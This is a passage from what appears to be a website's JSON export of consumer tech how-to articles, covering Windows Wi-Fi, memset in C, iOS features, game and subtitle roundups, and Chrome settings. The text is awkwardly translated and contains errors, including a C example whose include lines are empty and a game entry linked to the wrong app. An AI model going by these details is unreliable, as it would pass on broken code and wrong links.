SopCast leftover files in it later on as well.\n Method 4of 4:\nAdditional Steps  Please, perform a full antivirus scan in Safe Mode as local admin running the latest version of virus protection and then, you take a manual backup for Windows Registry Editor.\n  You then re-load your Windows in normal mode and then manually detect, delete remains related the TWO programs I reviewed above. For further help, please review the YouTube video guide above.\n  Restore related settings for Windows Internet Explorer, i.e., version 9; and/or Mozilla Firefox 12.\n   Marvin Fry Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2enru0wMClo2arn6Wwor%2FT\n","link":"/post/how-to-uninstall-sopcast/","section":"post","tags":null,"title":"How to Uninstall SopCast"},{"body":"Network administration - Windows 7 is the third operating system version of Microsoft for workstations with built-in support for Wifi networking.However, in Windows 7, the process of connecting, managing and maintaining Wifi networks has been greatly simplified compared to Windows XP and Windows Vista. Also provide more utilities to support users when connecting to Wifi networks, such as automatically searching for connections, establishing connections, . Search for Wifi networks Windows 7 incorporates an improved version of the automatic Wi-Fi network search feature that was first introduced in Windows XP, and then integrated into Windows Vista. Note: Windows 7 uses the WLAN AutoConfig service (introduced in Windows Vista) to manage the Wifi network instead of the Wireless Zero Configuration service used by Windows XP. When no other network connection is enabled Windows 7 will search for Wifi that we can connect. It displays a 5-bar icon marked with a bright star in the notification area in the Taskbar. This icon means Not connected - Connections are Available. (Do not connect - Connected) To start the connection process, click on the icon to display the detected Wi-Fi networks (Figure 1).  Figure 1: Wireless Connection dialog box.\nAs shown in Figure 1, we can connect Windows 7 to many different Wifi networks. Include: Infrastructure  Ad-hoc  Unsecured (open)  Secured (encryption) WLAN connections shown with a 5-bar connection symbol are Infrastructure connections. An Infrastructure connection often uses a Wifi access point or Wifi Router to connect a system to many other systems on the network, or connect to the Internet. WLAN connections showing an icon of three devices are Ad-hoc connections. Ad-hoc Connection is a direct link between two PCs or between a PC and a printer, multifunction device, digital camera, or other device. We cannot use Ad-hoc connection to connect directly to the Internet. Connections marked with a yellow Windows shield are unsecured or unsecured connections, in which no encryption key is used. Unsecured Infrastructure networks are often used in free Internet service providers, such as hotels, libraries, and meeting rooms, etc. Ad-hoc networks are often installed for insecure access. Connections without Windows' yellow protection shield are secure Wifi networks. We must provide the encryption key used by this network every time we connect to the network.  Figure 2: This connection works with both 2.4GHz Wifi Adapter (802.11g) and 5GHZ (802.11a) Unsecured Wifi network connection (open) If you don't always work at the office, we may always have to connect to unsecured Wifi networks. Here are the steps to take to connect to these networks and then save them for future use. 1. Open the list of available Wi-Fi networks. 2. Click an unsecured connection. 3. To save this connection for future uses, click the Connect Automatically check box (Figure 3A). 4. Click the Connect button to make the connection shown in Figure 3B.  Figure 3: Save an open Wifi connection for the next use (A) and connect to the open Wifi network (B).\n5. After connecting to an unsecured Wifi network, select the network type of Public Network (Figure 4). When selecting Public Network , we will have to configure Windows Firewall to stop sharing the connection on the computer and help block unauthorized access.  Figure 4: When selecting Public Network, maximum security will be applied for open Wifi connection. If we save this connection (step 3), Windows 7 will automatically make the connection every time the system detects this network. Connect to secure Wifi network (encrypted) We can also connect to a secure Wifi network from the notification area. Perform the following actions:1. Open the list of available Wi-Fi networks. 2. Click on a secure connection (these networks are not marked with the Windows yellow shield). 3. To save this connection for later use, select the Connect Automatically checkbox. 4. Click Connect to start the connection process. 5. Enter the network security key (using WPA, WPA2 or WEP encryption key) when notified. By default, we can see these characters when entering (Figure 5A). Select the H ide Characters check box to hide the input characters (Figure 5B).\n Figure 5: Enter the network security key.\nAfter connecting to a secure network, select the Home or Work network to configure Windows Firewall to match the network type. If you want to install or join a Homegroup, then we need to select the network type as Home Network.Automatically reconnect to Wifi network Windows 7 can automatically connect back to a stored Wi-Fi network when the computer in the area has a Wifi signal and if this network spreads SSID (Service Set Identifier). To confirm whether Windows 7 is connected to a Wifi network, check the Wifi network icon located in the system tray (Figure 6).\n Figure 6: Detecting some Wi-Fi networks but no connection has been established (A). A Wifi connection is being used (B). The number of bars in Figure 6 shows the signal strength of that Wifi connection. When we move the mouse pointer over this Wifi connection icon, the name of the current Wifi network connection will appear.\n Figure 7: Move the cursor over the icon to see the name of the Wifi network connection. Connect to Wifi network with hidden SSID Windows 7 detects that Wi-Fi networks do not play their SSIDs like other networks. To connect to a network that does not play SSID, we must enter the SSID of that network as well as the encryption key when notified.Visit the Web site to complete the connection Some Wifi connections require that we agree to request to use the service or access a security license before we can use them. Windows 7 will remind us in necessary cases by displaying a message containing Additional Log Content on Information May Be Required (It may be necessary to use additional information records). Click on this message to run the browser application and complete the process.\n Figure 8: Click on the message to access a necessary Web site to complete the process of signing up for Wifi connection. Manage Wifi connection As we all know, Windows 7 will prompt to save a Wifi connection when we start connecting. To manage Wifi connections, open the Network and Sharing Center (we can open it from the Wireless Network Connection dialog in the notification area or from Control Panel). Click on the Manage Wireless Connections link in the left panel to start the management process (Figure 9).\n Figure 9: Open the Manage Wireless Connections dialog box from the Network and Sharing Center. The Wifi network connection management dialog (Figure 10) is used to add, remove, or arrange Wifi network connections. Also we can display the Wifi Adapter's properties, select a profile type, or open the Network and Sharing Center.\n Figure 10: Manage Wireless Connections dialog box. Connecting the Wifi network at the top of the list is the preferred network. To move a connection to the desired location, we just need to select the connection and then press the Move Up or Move Down button.To remove an unused connection, select it and click the Remove button. To add a new connection, click the Add button then provide the necessary information such as SSID, encryption type, encryption key, .\nCheck Internet connection sharing properties and settings To check the Wifi Adapter's properties , click on the Adapter Properties (Figure 11) in the Wireless Network Management dialog box as shown in Figure 10. In the Wifi Adapter properties dialog, the Networking tab displays the network components being used and allows us to install or remove components.\n Figure 11: Networking tab on the Wifi Adapter properties dialog box. The Sharing tab is used to configure the system as an Internet connection sharing server (Figure 12). An ICS server will provide Internet access to other computers on the network via its own Internet connection. We can use ICS along with a Wifi (or Switch or access server) access point to use the Router.\n Figure 12: Sharing tab on Wifi Adapter properties dialog box. Select the box to select Allow other network users to connect through Internet connection this computer to enable ICS. To specify the services that ICS will support, click the Settings button and select the services in the Services list as shown in Figure 13.\n Figure 13: Install ICS support for desired services. In addition to the services already included in the list, we can include other services by clicking the Add button and selecting the services that need to be supported.Disconnect Wifi To disconnect from a Wifi connection, click on the Wifi network icon in the system tray, then right-click on the current connection and select Disconnect (Figure 14). In addition, we can check the status and properties of the network from this dialog.\n Figure 14: Disconnect from Wifi network. Conclude Windows 7 makes managing Wifi networks much easier than before. However, keep in mind that the network adapter needs to have Windows Vista or Windows 7 drivers installed in order to operate stably.\nncG1vNJzZmismaXArq3KnmWcp51kuqK6wKCcZq%2BZm7Zur86npZ6bpJ68r3nIp2SwoZ6ZvLi%2FjHA%3D\n","link":"/post/manage-wifi-connection-in-windows-7/","section":"post","tags":null,"title":"Manage Wifi connection in Windows 7"},{"body":"The function void * memset (void * str, int c, size_t n) copies the character c (an unsigned char) to the first n characters of the string pointed to by parameter str.\nDeclare memset () in C Below is the declaration for memset () in C:\nvoid * memset ( void * str , int c , size_t n )  Parameters str - This is a pointer to memory block to fill .\nc - This is the value to be set. The value is passed as an int, but the memory fill function uses the unsigned char conversion of this value.\nn - This is the number of bytes to be set to the value.\nReturns the value This function returns a pointer to memory str.\nFor example The following program C illustrates the usage of memset () in C:\n#include #include int main () { char str [ 50 ]; strcpy ( str , \"Hoc C co ban va nang cao tai QTM\" ); puts ( str ); memset ( str , '$' , 7 ); puts ( str ); return ( 0 ); }  Compile and run the above C program to see the results.\nAccording to Tutorialspoint\nPrevious article: memmove function in C\nNext lesson: strcat function in C\nncG1vNJzZmismaXArq3KnmWcp51kuqa50p6rZp6lo7C1tc6nZKKmXZg%3D\n","link":"/post/memset-function-in-c/","section":"post","tags":null,"title":"Memset () function in C"},{"body":"For those of you who are designers or graphic designers, getting color coding is extremely important. If you are a Photoshop expert, you probably know the useful tool of Eyedropper color coding in photoshop. However, not everyone is proficient in photoshop and knows how to use this feature. If you want to get color code from anywhere on your computer screen quickly and compactly, please refer to the 3 color-coding tools that TipsMake.com will introduce to you.\n1. Pixie software Download link: http://www.nattyware.com/pixie.php\n  Pixie is a compact color coded software with a capacity of only 11.5 Kb. Pixie has an extremely simple interface, which can take color codes in any area you move the mouse pointer. Pixie meets the needs of all users.\nTo get the color code, you just need to run the application and then hover to the color area to get and press Ctrl + Alt + C to copy the color code. You can also enlarge an area of ​​the image to get a better color by pressing Ctrl + Alt + Z. Alternatively you can turn on the palette by pressing Ctrl + Alt + X.\n2. ColorPix software Download link: https://colorpix.en.softonic.com\n  ColorPix is also a very compact color-coding tool similar to Pixie but has a number of more advanced functions. When you do not use, ColorPix will hide down the system tray. Click the plus sign to let the program float on other applications, convenient for quick color acquisition. ColorPix can also enlarge an image area up to 2800%, helping you get the standard color code to each pixel.\nTo get color codes very simply, you just need to hover over the color area you want to get the code then press any key to lock the selected color, the remaining job is to copy the color code you want.\n3. ColorCop software Download link: http://colorcop.net/download/\n  ColorCop is also a good color-coded software, but the speed of color acquisition is not as fast as the two above software. To get the color you need to hold the mouse on the pen icon in the software then hover over the desired color area. ColorCop also supports enlarging the image area up to 16 times, helping you get the most accurate color.\nAbove TipsMake.com introduced to you the 3 best color-coded applications, hopefully through this article you will choose for yourself a satisfactory software. Thank you for following the article.\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jGxkrKeWqcSivsRmq6hll5rBbq%2FOpaarZZOksaa%2FjKqsopubocZurc2dZKmqn5uytL%2FIqKWapJyu\n","link":"/post/top-3-software-to-get-color-codes-quickly-and-professionally/","section":"post","tags":null,"title":"Top 3 software to get color codes quickly and professionally"},{"body":"Countervailing games with beautiful martial arts, attractive duo performances make any gamer excited. Here are the best free mobile game titles that any beloved fan favorite doesn't want to ignore to show their fighting skills.\nTRANSFORMERS: Forged to Fight\nIn the game, the two factions Autobots and Decepticons must fight each other in a war that takes one. Gamers will play the role of robots and fight against others or even build strong alliances for themselves.\n  Frantic punches of power, beautiful transformations built on top-notch 3D graphics technology, antagonistic systems (support and evasion) to help Transformers: Forged to Fight get reviews high from gamers.\nThis fighting fighting game possesses a system of characters that are kept in shape, the standard rate as original in the movie.\nDownload link:\niOS: https://itunes.apple.com/us/app/power-rangers-legacy-wars/id1204075112?mt=8 Android: https://play.google.com/store/apps/details?id=com.nway.powerrangerslegacywars\u0026amp;hl=en Shadow Fight 3\nThis is the best mobile antagonistic game in 2017, surpassing 19 million downloads after only 1 month of launch.\n  The warriors in the game are built with vivid 3D graphics, clearly each gesture, attack tactics promise to bring gamers the spectacular martial arts screen.\nIn the game, the player not only controls the character to attack in the usual way but also has to coordinate the above right fee appropriately.\nDownload link:\niOS: https://itunes.apple.com/vn/app/shadow-fight-3/id964827011?mt=8\u0026amp;ign-mpt=uo%3D8 Android: https://play.google.com/store/apps/details?id=com.nekki.shadowfight3\u0026amp;hl=en_GB Mortal Kombat X\n  Mortal Kombat X version on the phone still has the classic characters of this legendary series like Scropion, Sub-Zero, Raiden, as well as new characters of Mortal Kombat X like Casie Cage or Kotal Khan. And of course, it is indispensable for the \"Fatality\" finishes as well as the beautiful X-ray blows, making the name of this antagonistic series.\nDownload link:\niOS: https://itunes.apple.com/vn/app/id949701151?mt=8 Android: https://play.google.com/store/apps/details?id=com.wb.goog.mkx Injustice: Gods Among Us\n  This is an immersive fighting game that allows players to enter the legendary superhero world. All superheroes like Batman, Superman . and villains like Joker, Bane or Deathstroke . all appear in the game. With compelling storyline and gameplay, top-notch graphics, Injustice: Gods Among Us is always the top choice of fighting gamers.\nDownload link:\niOS: https://itunes.apple.com/us/app/injustice-gods-among-us/id575658129?mt=8 Android: https://play.google.com/store/apps/details?id=com.wb.goog.injustice\u0026amp;hl=en Power Rangers: Legacy Wars\n  Power Rangers: Legacy Wars is a 3D fighting game. In the game, the superheroes will participate in protecting the Earth, against the evil conspiracy of blind witch Rita Repulsa.\nDownload link:\niOS: https://itunes.apple.com/us/app/power-rangers-legacy-wars/id1204075112?mt=8 Android: https://play.google.com/store/apps/details?id=com.nway.powerrangerslegacywars\u0026amp;hl=en See more:\nTop mobile games offline extreme horror or make players have to chill 10 best puzzle games on Android and download links PC Building Simulator, a simulation game that helps you satisfy your own passion for installing 'big' computers ncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5km52jqXqnvsSeZJ%2Bhl53BqrrGZp6apZWoerC6jKamm6Gcmg%3D%3D\n","link":"/post/top-5-best-free-fighting-games-on-mobile/","section":"post","tags":null,"title":"Top 5 best free fighting games on mobile"},{"body":"While many people hate subtitles, there are people who can't watch movies without them. Watching movies with great subtitles, because subtitles help you better understand what the actor is saying, especially when watching foreign movies or the actor's voice is quite hard to hear.\nBut what if a movie you're watching doesn't have subtitles? You really want to know where you can download subtitles for free, right? Here, TipsMake.com will share 7 websites where you can download free subtitles, including English, Indonesian or Chinese subtitles, etc.\nHow to download subtitles automatically in VLC Download subtitles for movies with the following 7 websites 1. Subscene 2. YIFY Subtitles 3. Subtitle Seeker 4. Addic7ed 5. TVSubtitle.net 6. OpenSubtitle 7. Subtitlesbox 1. Subscene   Subscene.com is one of the most popular subtitle download sites, with a huge database of popular movies and shows from around the world. Subtitles are added daily by users as well as website owners and are available in multiple languages.\nThe site has a simple, user-friendly interface that allows users to filter subtitles by language. And if you can find your desired subtitle, there is a feature called 'Request Subtitle' that you can use to request subtitles not in the database.\n2. YIFY Subtitles   YIFYsubtitles.com is another great subtitle download site, updated regularly. The site has a user-friendly interface that allows you to search for desired subtitles by language and genre. Here, you will also find a huge collection of all the latest and popular movies.\nThe site also allows you to view ratings as well as the release year of all movies uploaded. However, when downloading subtitles, you will be redirected to the PDF download page, which is a bit complicated.\n3. Subtitle Seeker   Subtitleseeker.in has a different approach to downloading subtitles. Instead of having a collection of closed captions (by site users), this site attracts and combines results from more than 20 subtitle download sites. This makes Subtitle Seeker a great option, if you can't find your desired subtitles elsewhere.\nThe interesting thing about Subtitle Seeker is that it has a simple, user-friendly interface and gets a lot of positive feedback. On the main page, you'll find a search bar and sections containing recent subtitles for both movies and TV shows.\n4. Addic7ed   With Addic7ed.com, you can download subtitles for the latest movies, TV series, box office trailers, as well as news. The site offers subtitles for genres that you may not find elsewhere. Addic7ed provides subtitles in English, Telugu, Tamil, etc.\nThe site has a subscription option, but you can download subtitles even without an account. You can also watch movies and shows in progress as well as 100% completed movies.\n5. TVSubtitle.net   TVSubtitle.net is another great website that you can use to download subtitles. This site has a clean, easy to use interface. Subtitles are categorized into two categories: Movies and TV shows. This makes it easy to find the subtitles you are looking for. Also, if there is a subtitle file you want to share with others, this site will help you easily do that.\n6. OpenSubtitle   OpenSubtitle.org has one of the largest databases for subtitles on the Internet. This site is available in many languages ​​and you can find subtitles in any language. OpenSubtitle also has a great search tool that allows you to filter searches by year, country, genre, season or episode. OpenSubtitle's advanced search tool is one of the best tools you find online.\n7. Subtitlesbox   If you're having trouble finding subtitles for the latest movies, try Subtitlebox.com. This site offers DivX subtitles for the latest trailers, movies and TV shows for free. Subtitlesbox's website has a very neat interface, no ads, pictures or movie posters. Just search bar and some useful links for anything you are looking for, be it subtitles, movies or streaming sites.\nUndoubtedly, the Internet has a lot of websites to download subtitles and you can get subtitles in any language in the world. The above sites are great and you can recommend them to anyone looking for subtitles online.\nBut if you like to watch all movies with subtitles, but don't like the idea of ​​having to download subtitles manually all the time, you can check online media players like BS Player.Net, which supports counting. Integrated ability to automatically download subtitles.\nIf you want to learn more about this issue, please refer to the article: Summary of tips on movie subtitles, How to download subtitles on Youtube videos quickly and simply? or 5 ways super easy to add subtitles, caption to video for more details.\nWish you find yourself the right choice!\nncG1vNJzZmismaXArq3KnmWcp51khG6uxKyrZquZqbK0edOoZJ2np6O5sK3DZqqumqSewa2x0madqKpdory3tcSs\n","link":"/post/7-best-sites-to-download-subtitles-for-movies/","section":"post","tags":null,"title":"7 best sites to download subtitles for movies"},{"body":"In iOS 13, Apple added the ability to attach files to events in the Calendar app. This is a useful feature available because that means, when an event takes place, you get any relevant documents or information immediately.\nFor example, if you are about to have a vacation or business trip in the near future, you can attach flight times, hotel reservations, emails and other relevant files needed for the trip, to they don't disappear somewhere in the inbox.\nThe steps below show you how to attach files to events in the Calendar application.\n1. Launch the Calendar app on your iPhone or iPad, then tap an event to which you want to attach a file or create a new event. In the example in this article, we will work with an existing event.\n2. Click Edit in the upper right corner of the screen.\n3. Scroll down and click Add attachment .\n4. Click the file you want to attach in the Recent section or select the Browse tab to navigate to a file, then click on it.\n5. Click Add attachment . again to attach additional files if you want, then click Done in the upper right corner of the screen when you're done.\nThat is all there is to it. To open your attachments at any time, just select the calendar events and click each attachment to open them.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmUmXqiwNOamqGllaPBtHnTqGScmZyau6Wt0Wacr52eqcBuu81moKir\n","link":"/post/how-to-add-attachments-to-calendar-events-on-ios/","section":"post","tags":null,"title":"How to add attachments to calendar events on iOS"},{"body":"The new Share Sheet in iOS 13 and iPadOS 13 is smarter and more open. At first glance, this Share sheet may seem a little complicated, but here's how you can simplify it by customizing and adding preferred actions.\nInstructions for using share extension on iPhone and iPad How to share photos on iPhone with Family Sharing How to share photos using temporary iCloud links on iPhone and iPad How to use the new Share sheet Let's start with the most familiar Share Sheet - Apps panel. You can still swipe horizontally to find the application you want to share data.\nFor example, if you want to share photos or links via WhatsApp, you don't need a new method, we'll talk about this customization below.\n  At the top of the new Share Sheets, you'll see a quick share sheet. This section displays a list of nearby AirDrop devices and recent iMessage chats. Using this new table, users can quickly share selected data in the Messages series without searching for contacts (like on iOS 12).\nBelow the Apps panel, you'll find a newly designed vertical scroll list. This list will be divided into several sections, depending on the application you use.\n  First you will see the Favorites section. By default, it will highlight one or two actions most often for an application. For example, for an application like Safari, the action can be Copy , for Photos it is Copy Photos , etc. This section is also customizable and we will discuss in a later section.\nUnder Favorites , you will see all actions available for the related application. And this part is also customizable.\nNear the bottom of the list are all shortcuts from the Shortcuts app (shortcuts that support extensions).\nAs you can see, using the Share Sheet can be confusing for users scrolling under the Apps panel. The problem here is that Apple doesn't title these sections. It is therefore difficult to find action from long lists.\nYou can look at the Action icons on the right, but the not so striking black and white design also makes you strain your eyes to search.\nHow to create favorite actions One quick way to take actions on a Share Sheet is to customize the Favorites section so that frequently used actions are always displayed directly below the Apps section.\nTouch the Share button from any application.\n  You should now see the new Share Sheet slide up from the bottom of the screen. Swipe up to expand Share Sheet in iPhone full screen mode. On iPad, Share Sheet will open as a menu.\n  Swipe down the screen and touch Edit Actions .\n  From the new panel, you'll see the Favorites section at the top. This section will display all current favorite actions. Below you will see a list of actions for the application you are selecting. Further below is Other Actions . These are general actions for all applications available. And finally the list is all shortcuts.\nBrowse through the list and when you find an action you want to add to Favorites, just touch the plus (+) button.\n  To remove an action from the Favorites list, touch the minus sign (-) to the left of the action name. Use the three-bar icon to rearrange the animated rows in Favorite.\n  Touch Done . When you return to the Share Sheet, you'll see the actions right below Apps.\n  If you add action from Other Actions , it will show up in Favorites for all applications.\nSome applications have their own Actions section. To add specific actions to an application (for example, the iCloud Link Copy option in the Photos app) to Favorites, you must repeat the above process from the Share Sheet in the specific application.\nIf it detects a toggle next to an action, it can be disabled. Tap on it to hide the action from the Share Sheet.\n  How to edit the Apps section Operation of Apps panel on iOS 13 and iPadOS 13 is slightly different. Apple now automatically adds suggested apps to the bottom of the app list.\nThis is generally a good thing because you don't need to turn on manual apps from the More section. And the newly installed application can be displayed at the bottom of the Apps section.\nBut of course, the suggestion tool will vary based on the application. If you want consistency, the best way is to customize the application part manually.\nOpen Share Sheet and scroll to the bottom of Apps table. Touch the More button.\n  You will see two parts: Favorites and Suggestions.\nTouch the Edit button in the upper right corner.\n  In the Suggestions panel, touch Toggle to the right of the app's name to remove it from the Apps panel.\n  Alternatively, you can touch the plus (+) button to add it to Favorites . This way, the app will always show up in the Apps panel. When adding apps to Favorites, you can use the Handle button to rearrange the order of apps.\nThe redesigned Share Sheet is one of the many new features in iOS 13. Once you've updated to the latest version, try turning on Dark Mode on your iPhone.\nI wish you successful implementation!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpulqMGwuciznGarmJa%2FpnnSoZyerF2ku261z6Gmp51dnr2isA%3D%3D\n","link":"/post/how-to-customize-share-sheet-on-iphone-ipad/","section":"post","tags":null,"title":"How to customize Share Sheet on iPhone, iPad"},{"body":"Getting a Windows Installer package error message is not an unusual problem on Windows 7, Windows 8, or Windows 10. Although the problem may be difficult to identify, the good news is that this Windows Installer package problem, sometimes called error 1722, not so serious and in fact, it is a fairly small but annoying computer problem.\nHow do Windows Installer package errors appear? Windows Installer package errors usually appear as one of the following errors or a combination of errors in the system warning message.\nThe Windows Installer Service could not be accessed.  ERROR 1722 There is a problem with this Windows Installer package. A program run as part of the setup did not finish as expected.  Windows Installer Service couldn't be started.  Could not start the Windows Installer service on Local Computer. Error 5: Access is denied.  Cause of a Windows Installer package error When you receive a warning message saying there is a problem with the Windows Installer package, this usually means that a program is not running. This could be due to conflicting programs or applications, virus or malware infection, lack of sufficient system memory to provide all running applications or graphics driver errors.\nWindows Installer package errors can also be caused by system problems (seemingly random and there are no major issues behind them).\nHow to fix problems with the Windows Installer package Here are some of the best things to do when a Windows computer indicates a problem with a Windows Installer package.\n1. Restart the computer : Restarting Windows can fix a range of problems including Windows Installer package errors.\n2. Update Windows : Performing a Windows update will scan the device during the update process and fix some potential conflicts. The update process will also update the operating system and driver, which can fix the cause of the Windows Installer package error.\n3. Update the Windows application : If you have not updated the application, now is the time to do so. In addition to adding new features, application updates can also improve security and clear out any system conflicts.\n4. Run Windows Troubleshooter : Go to Settings\u0026gt; Update \u0026amp; Security , then run Program Compatibility Troubleshooter and Windows Store Apps Troubleshooter . Both will scan and provide solutions for any application issues that are causing this error message to occur.\n5. Application repair : On Windows 8 and 10, right-click the application icon, then select More\u0026gt; App settings\u0026gt; Repair . This will scan the application and fix any errors in its code.\nOn Windows 7, you'll need to do this from Control Panel\u0026gt; Uninstall a program , right-click the application name, then select Change\u0026gt; Repair .\nNote : The Repair option may not appear for all applications.\n6. Reset application : Resetting an application is a way to refresh it without having to delete it completely and reinstall it. This process can fix any problems you encounter.\nTo do this, right-click on the application icon and select More\u0026gt; App settings\u0026gt; Reset . The option is right below the Repair option .\nNote : Resetting an application will erase all its local data.\n7. Reinstall the application : If you know which application is causing the conflict, please uninstall and then reinstall, because the application installation may be corrupted or an important file may have been deleted. .\n8. Disable some startup applications : Press Ctrl + Alt + Del , then select Task Manager\u0026gt; Start-up . The applications on this list are those that automatically start and run in the background when you turn on your computer. They can use up resources and cause conflicts. To prevent unnecessary things from running in the background, select their names, then select Disable.\n9. Run Disk Clean-up : From File Explorer, select This PC, right-click the main hard drive, select Properties , then Disk Clean-up . This will eliminate unnecessary files and free up more space for applications to use.\n10. Check if the Installer Service is running : Open the Start menu, select Run , type Services.msc , and then press Enter . Double-click the Windows Installer icon, then set the Startup type of Windows Installer to Manual. Select Start , then select OK.\n11. Re-register Windows Installer : In Windows 7, open the Start menu and select All Programs\u0026gt; Accessories\u0026gt; Run .\nIn Windows 8 and 10, open the Start menu and type Run.\nEnter msiexec / unregister and select OK. Now, do the same thing again but this time type msiexec / regserver and select OK.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXq1tMRmp6unkqGyrnnWoquhZaSdtrR51qKlnaenqHqqutKtmKWklad6sa3CpJignV2av7O70Q%3D%3D\n","link":"/post/how-to-fix-the-problem-with-this-windows-installer-package-error/","section":"post","tags":null,"title":"How to fix the 'Problem With This Windows Installer Package' error"},{"body":" This wikiHow article shows you how to install War Thunder on your PC or Mac. War Thunder is a free-to-play online multiplayer game for Mac, PC, and other platforms. It's a military game that lets players use aviation, naval, and other...\nMethod 1of 2:\nDownloading War Thunder for PC  Go to the War Thunder website. The website can be found at https://warthunder.com/.\n  Click the green Download Now button on the right side of the screen. It will be located right beneath the red 'Register Now!' button. This will open a pop-up window with another download button.\n  Click the large red Download Game button. The button will also have a Windows logo and a download icon on it.\n  Download the file to your PC. A window will pop up, giving you the option to choose a folder to download the installer to. You can go with the default 'Downloads' folder or select another location. Once you have selected where you want the download to go, click 'Save' in the bottom right corner of the window.\n  Double click the file to launch the installer. Locate the file in the folder you downloaded it to and open it.\n  Choose the setup language. A small window will pop up asking you to choose your language. The default is English, but click on the drop-down if you wish to select something different. Click 'Ok' to proceed.\n  Choose where to install the game. The installation window will have you choose a location for the War Thunder game. A default folder is selected, but you can change it if desired. You will also be given the option to create a desktop icon for the game. The box is checked by default, so uncheck it if you don't want a shortcut on your desktop.   Click Install. You are now ready to install War Thunder to your PC. The 'Install' button can be found at the bottom of the installation window.\n  Wait for the game to install. You will see a green bar that indicates the installation's progress. It should only take a minute to completely install.\n  Click Finish. Clicking 'Finish' will automatically launch War Thunder.\n Method 2of 2:\nDownloading War Thunder for Mac  Download the War Thunder Installer for Mac. This is a direct link that will immediately prompt you to download the game: https://warthunder.com/download/launcherOSX/\n  Open the Downloads folder on your desktop. Once the installer has finished downloading, you will be able to find it in the 'Downloads' folder on your desktop.\n  Double click on WarThunderLauncher. Doing this will open up a window with a shortcut to 'Applications' and the War Thunder launcher.\n  Drag WarThunderLauncher to your Applications folder. Don't try to open the launcher immediately, or it won't work. Instead, click on the War Thunder launcher and drag it into the 'Applications' shortcut.\n  Double click on WarThunderLauncher in the Applications folder. Go to your 'Applications' folder and find the launcher again. Double click on it to begin installation. You will be asked if you want to open this application. Click 'Open' to give permission.\n  Wait for installation to finish. Installation should only take a minute. When it's finished, you will see the message 'Done' over the progress bar.\n  Click on the red Run game button. At this point, a red 'Run game' button will appear. Click on it to open War Thunder.\n  Lesley Montoya Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmrpqqXam1trrDnqlmp55ivaR5zqtkppmT\n","link":"/post/how-to-install-war-thunder-on-pc-or-mac/","section":"post","tags":null,"title":"How to Install War Thunder on PC or Mac"},{"body":"The new text-to-computer feature on Google Lens has been updated to help users easily transfer any scanned content on their phone to their computer without manually re-entering the content. Besides, the application also provides additional text translation features directly on Google Lens without Google Translate tool. When users log in to their Google account on both computers and phones, then enable the sync function to transfer any scanned content from Google Lens to the computer easily. The application supports scanning of handwriting including Vietnamese. The following article will guide you how to transfer text to a PC from Google Lens.\nHow to use Google Lens to copy text to a PC Firstly, you need to update Google Lens on Android and iOS to the latest version. Google Chrome on the computer is also used in the new version, sign in with the same Google account on your phone and enable data synchronization for Google accounts.\nStep 1:\nOpen the Google Lens app, then move the camera to the text you need to transfer to your computer, then click the center magnifying glass icon to scan the document. Then click on the screen and select the content you want to copy. Then click Copy to computer .\n  Step 2:\nAt this time, Google Lens will scan the computer logged in with the same Google account and have enabled data synchronization. When the computer name appears , we click to copy data. Next, open Google Docs and paste the content into it.\n  Step 3:\nNext to directly translate documents on Google Lens , switch to the translation icon and wait for the application to automatically recognize the language and the translation language. To select the language, click on the language displayed at the top to change the language you want.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqyilru0ssSrZKmZoJq%2FbrDOnKymnZ6pwG7AzmaYZpufor22wMSrZK6rmaO0brPOqJ6lnV2hsq%2B%2F\n","link":"/post/how-to-transfer-paper-documents-to-a-computer-using-google-lens/","section":"post","tags":null,"title":"How to transfer paper documents to a computer using Google Lens"},{"body":"However, in reality, not everyone needs to use this feature. Even in some cases, Chromecast is annoying and causes many problems. In this article, we will learn how to remove Chromecast button from Google Chrome web browser.\n  Usually, the 'Google Cast' icon will automatically appear on the video you open in Google Chrome if you have a Chromecast-enabled device connected on the same network as your computer. The problem is that if the Chromecast device isn't yours, transferring the wrong video to that device would be quite annoying. Thankfully, the 'Google Cast' button can be disabled if desired.\nWe'll have to use up to two different 'flags' in Chrome to remove the Chromecast button from the browser.\nFirst, open the Google Chrome browser on your Windows, Mac, or Linux PC. Then, type the keyword ' chrome: // flags ' in the address bar and press Enter .\n  Next, enter the keyword 'Load Media Router Component Extension' in the search box. This will return a flag with the corresponding title.\n  Looking at the options box on the right, you will see the current state of the flag. Clicking the arrow pointing down will bring up a menu, click on the option ' Disabled '.\n  Now use the search box again to find another flag titled 'Cast Media Route Provider' and disable it the same way.\n  After you change the status of the flag, Chrome will ask you to restart your browser to apply the changes. Click the ' Relaunch ' button at the bottom of the screen.\n  Once Chrome has restarted, you should no longer see the Chromecast icon appear on the videos. (In some cases, this icon may appear briefly and then disappear.\nHave a great experience with Chrome.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu8WfZJygoqS6pq%2FArKtmnpWWwba%2BxGagp2WXpLyouMRmmqGqn6Ky\n","link":"/post/how-to-turn-off-chromecast-feature-in-google-chrome/","section":"post","tags":null,"title":"How to turn off Chromecast feature in Google Chrome"},{"body":"Finding free online photo editing services is now extremely simple. Online photo editing pages provide users with many professional image editing features, which are no less competitive than photo editing software.\nAmong them must come to PhotoFunia, an online tool that provides users with a variety of funny photo effects. We can combine photos into famous artists, choose new photo frames, or go in vintage classic style, . In the article below, Network Administrator will introduce you to read how Turn photos into paintings on PhotoFunia online.\nStep 1: First we will access the interface of the Caricature portrait painting effect of PhotoFunia following the link below.\nhttp://photofunia.com/categories/all_effects/caricature This effect has the ability to recognize faces automatically, thereby turning your photo into a portrait.\nStep 2: At the PhotoFunia interface, we click on the Choose Photo button to upload the image.\n  The service supports users with multiple ways to upload images, download from the Upload computer, use photos uploaded to PhotoFunia before, Camera and Online photos to download images from online photo storage sites. Here I will choose to download the image from the computer so I will click Upload From PC .\n  In addition, you can upload photos to PhotoFunia from Facebook, Google Drive, OneDrive, . just log in your account and select the image to finish.\n  Step 3: You wait for PhotoFunia to upload a successful image to the service. Immediately afterwards the interface of the frame image appears when the face detection is completed. Select the area of ​​the image you want to use, by moving the crop frame then press the Crop button below.\n  Return 